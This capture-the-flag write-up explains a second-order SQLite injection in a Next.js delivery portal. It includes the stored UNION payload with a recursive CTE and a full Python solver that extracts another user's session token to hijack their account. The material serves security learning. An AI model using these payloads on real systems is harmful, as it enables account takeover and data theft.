$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A Next.js delivery portal stores an unchecked postal code and later interpolates it into SQLite SQL. Solution: A stored UNION oracle with a recursive CTE extracted the seeded agent's UUID session, granting access to the issued order.
После трёх неудачных попыток войти в улей через главный леток медоедская разведка перешла к тонкой работе: заказала комплект маскировки «Пчела PRO» — полосатые жилеты, накладные крылья, усики и официальную справку «я не медоед». Посылку везла СОТЭК — доставка от соты до соты. Утром статус заказа сменился на «Выдан», хотя весь отряд всю ночь сидел в норе и репетировал жужжание. Поддержка утверждает, что получатель назвал правильный индекс и выглядел достаточно полосатым. Фотография выдачи доступна только в личном кабинете агента, оформлявшего заказ. Сам агент решил «на пять минут проверить другой вход в улей» и с тех пор не отвечает. Пароль, разумеется, был только у него. Разберитесь, в чьи лапы попала посылка, и верните маскировку до начала операции.
The goal was to enter the unavailable agent's account and inspect the proof photograph for an already-issued delivery. The supplied source archive made it possible to trace registration, rate calculation, sessions, and order authorization end to end.
The database seed in src/lib/db.ts creates:
[email protected];SOT-2026-0001;randomUUID() and hashed with scrypt;Direct login is therefore infeasible: there is no predictable seeded password to guess, and the stored value is a salted scrypt hash. The meaningful target is the existing session token.
An IDOR is not available either. getIssuedOrdersForUser() uses a placeholder and explicitly restricts the query to the authenticated user:
SELECT ... FROM orders WHERE orders.user_id = ? ORDER BY orders.issued_at DESC
Consequently, changing an order identifier cannot cross the ownership boundary. A valid session for the seeded user is required.
Registration reads postalCode as an arbitrary string:
const postalCode = String(formData.get("postalCode") ?? "");
The value is passed into createUser() despite that function's misleading TypeScript number annotation. Type annotations do not enforce runtime validation, // @ts-nocheck is present, and the parameterized insert safely stores the attacker's string in the profile.
The vulnerability is triggered later by authenticated POST /api/calculate. The application retrieves the stored profile postal code and interpolates it directly into a new SQL statement in src/lib/rates.ts:
const zipcode2ratesQuery = ` SELECT DISTINCT rate_id FROM zipcode2rates WHERE postal_code IN ('${profilePostalCode}', '${destinationPostalCode}', '125315', '190000') `;
This is second-order SQLite injection: registration stores the payload, while rate calculation executes it.
The malicious postal code begins with the following structure:
x') UNION SELECT 101 FROM ( WITH RECURSIVE n(i) AS ( SELECT 1 UNION ALL SELECT i + 1 FROM n WHERE i < 36 ) SELECT CAST( i * 1000 + unicode(substr(( SELECT token FROM sessions JOIN users ON users.id = sessions.user_id WHERE users.email = 'agent.bzz@hive.local' LIMIT 1 ), i, 1)) AS TEXT ) AS code FROM n ) WHERE code IN ('
After interpolation, the application's quote around profilePostalCode closes the final injected string. The separately controlled, numerically validated destinationPostalCode remains the next member of the injected IN list.
The recursive CTE emits one code for each of the 36 UUID positions:
position * 1000 + Unicode code point of the character
For a candidate character at position i, the request sends:
destinationPostalCode = i * 1000 + ord(candidate)
CAST(... AS TEXT) is important because the generated code values are compared against quoted values in an IN list. It makes SQLite's coercion behavior explicit and ensures a stable textual equality test.
If the candidate is correct, the injected UNION SELECT contributes rate ID 101. The application then performs a parameterized lookup of the selected IDs and returns the corresponding delivery rate. Thus, the presence of rate_id: 101 in the JSON response is a reliable true result; its absence is false. Rate 101 may also arise from fixed mappings in a poorly chosen query, but this payload replaces the original query's result set through its selected profile value and tests only candidate codes not present among the normal postal mappings.
One registered malicious profile generates all 36 position codes. Only the numeric destination changes between requests, so no new account is needed for each character.
The complete solver used during the challenge is preserved as tasks/avitoctf/sotek/solve.py. The following equivalent script registers one injection account, tests the UUID alphabet concurrently, and uses the recovered session to request /orders:
#!/usr/bin/env python3 from concurrent.futures import ThreadPoolExecutor, as_completed import random import string import time import requests BASE = "https://sotek-fua9q3sm.avitoctf.ru" TARGET = "[email protected]" ALPHABET = "0123456789abcdef-" def payload(): return ( "x') UNION SELECT 101 FROM (" "WITH RECURSIVE n(i) AS (" "SELECT 1 UNION ALL SELECT i+1 FROM n WHERE i<36" ") SELECT CAST(i*1000+unicode(substr((" "SELECT token FROM sessions JOIN users ON users.id=sessions.user_id " f"WHERE users.email='{TARGET}' LIMIT 1" "),i,1)) AS TEXT) AS code FROM n" ") WHERE code IN ('" ) def register(): session = requests.Session() suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=12)) response = session.post( BASE + "/api/register", data={ "fullName": "probe", "email": f"probe-{suffix}@hive.local", "postalCode": payload(), "password": "probe-password-123", }, timeout=20, allow_redirects=False, ) if response.status_code not in (302, 303, 307, 308): raise RuntimeError(f"registration failed: {response.status_code}") return session.cookies["session_id"] def probe(cookie, position, candidate): destination = position * 1000 + ord(candidate) for attempt in range(7): response = requests.post( BASE + "/api/calculate", cookies={"session_id": cookie}, json={"destinationPostalCode": destination}, timeout=20, ) if response.status_code != 429: break time.sleep(1.5 * (attempt + 1) + random.random()) response.raise_for_status() ids = {rate["rate_id"] for rate in response.json().get("rates", [])} return position, candidate, 101 in ids cookie = register() found = {} with ThreadPoolExecutor(max_workers=6) as pool: futures = [ pool.submit(probe, cookie, position, candidate) for position in range(1, 37) for candidate in ALPHABET ] for future in as_completed(futures): position, candidate, matched = future.result() if matched: found[position] = candidate token = "".join(found.get(position, "?") for position in range(1, 37)) if "?" in token: raise RuntimeError("session recovery was incomplete") orders = requests.get( BASE + "/orders", cookies={"session_id": token}, timeout=20, ) orders.raise_for_status() open("orders.html", "w", encoding="utf-8").write(orders.text) print("[+] Authenticated order page saved to orders.html")
The exploit recovered a complete 36-character UUID accepted as the seeded agent's session_id. Requesting /orders with that cookie returned the issued order and rendered the runtime flag as the photograph overlay. The captured authenticated response is preserved in tasks/avitoctf/sotek/orders.html.
The photograph's message identifies a suspicious honey badger as the parcel recipient, resolving the narrative question.
No request was made to the unrelated hostname embedded in the randomUUID() fallback in db.ts; it was unnecessary to the exploit and outside the authorized challenge origin.
The CTFBase writeup 20260525_bug_makers_slepaya_inektsiya was consulted for the general SQLite unicode(substr(...)) Boolean-extraction pattern. This challenge differs by requiring a stored profile payload, a delivery-rate UNION oracle, and a recursive CTE that lets one account test every UUID position.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar